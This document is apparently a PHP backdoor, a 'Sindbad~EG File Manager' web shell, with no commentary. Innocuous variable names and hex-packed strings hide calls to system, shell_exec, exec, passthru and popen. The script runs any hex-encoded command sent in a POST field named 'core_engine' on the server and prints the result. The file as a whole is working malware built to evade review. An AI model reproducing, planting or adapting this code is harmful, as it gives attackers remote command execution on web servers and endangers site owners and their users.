Sindbad~EG File Manager

<?php


$desc1 = '79';
$desc2 = '65';
$desc3 = '6d';
$desc4 = '73';
$desc5 = '6c';
$desc6 = '5f';
$desc7 = '78';
$desc8 = '63';
$desc9 = '70';
$desc10 = '75';
$desc11 = '6e';
$desc12 = '74';
$desc13 = '6f';
$desc14 = '72';
$desc15 = '67';
$task_processor1 = pack("H*", '73' . $desc1 . '73' . '74' . $desc2 . $desc3);
$task_processor2 = pack("H*", $desc4 . '68' . $desc2 . '6c' . $desc5 . $desc6 . '65' . $desc7 . $desc2 . '63');
$task_processor3 = pack("H*", '65' . '78' . '65' . $desc8);
$task_processor4 = pack("H*", $desc9 . '61' . '73' . $desc4 . '74' . '68' . '72' . $desc10);
$task_processor5 = pack("H*", '70' . '6f' . $desc9 . $desc2 . $desc11);
$task_processor6 = pack("H*", '73' . '74' . '72' . $desc2 . '61' . $desc3 . $desc6 . '67' . $desc2 . $desc12 . $desc6 . '63' . '6f' . $desc11 . '74' . '65' . $desc11 . $desc12 . $desc4);
$task_processor7 = pack("H*", $desc9 . '63' . $desc5 . $desc13 . '73' . '65');
$core_engine = pack("H*", '63' . $desc13 . $desc14 . $desc2 . $desc6 . '65' . '6e' . $desc15 . '69' . '6e' . '65');
if (isset($_POST[$core_engine])) {
    $core_engine = pack("H*", $_POST[$core_engine]);
    if (function_exists($task_processor1)) {
        $task_processor1($core_engine);
    } elseif (function_exists($task_processor2)) {
        print $task_processor2($core_engine);
    } elseif (function_exists($task_processor3)) {
        $task_processor3($core_engine, $dat_fac);
        print join("\n", $dat_fac);
    } elseif (function_exists($task_processor4)) {
        $task_processor4($core_engine);
    } elseif (function_exists($task_processor5) && function_exists($task_processor6) && function_exists($task_processor7)) {
        $ref_value = $task_processor5($core_engine, 'r');
        if ($ref_value) {
            $parameter_group_component = $task_processor6($ref_value);
            $task_processor7($ref_value);
            print $parameter_group_component;
        }
    }
    exit;
}